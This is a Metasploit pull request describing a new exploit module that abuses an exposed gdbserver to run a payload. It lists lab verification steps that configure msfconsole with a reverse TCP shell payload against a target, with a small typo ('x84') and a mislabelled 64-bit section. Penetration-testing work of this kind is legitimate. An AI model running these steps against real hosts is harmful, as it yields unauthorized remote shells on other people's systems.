rapid7/metasploit-framework — pull request #3691 by jvennix-r7 (2014-08-24 06:15:50+00:00)
Title: Get a shell from a loose gdbserver session

Implements enough of the gdbserver remote debugging protocol to write and execute a payload.

#### Verification (32-bit)

I verified with Ubuntu 14.04 32-bit.

- [ ] install gdbserver: `sudo apt-get install gdbserver`
- [ ] run a gdbserver service: `gdbserver 0.0.0.0:9999 ping`
- [ ] launch msfconsole, configure the exploit:

$ ./msfconsole
msf> use exploits/multi/gdb/gdb_server_exec
msf> set target 1
msf> set payload linux/x84/shell_reverse_tcp
msf> set LHOST
msf> set RHOST
msf> set RPORT 9999
msf> run

- [ ] You should get a working shell

#### Verification (64-bit)

I verified with Ubuntu 14.04 32-bit.

- [ ] install gdbserver: `sudo apt-get install gdbserver`
- [ ] run a gdbserver service: `gdbserver 0.0.0.0:9999 ping`
- [ ] launch msfconsole, configure the exploit:

$ ./msfconsole
msf> use exploits/multi/gdb/gdb_server_exec
msf> set target 0
msf> set payload linux/x64/shell_reverse_tcp
msf> set LHOST
msf> set RHOST
msf> set RPORT 9999
msf> run

- [ ] You should get a working shell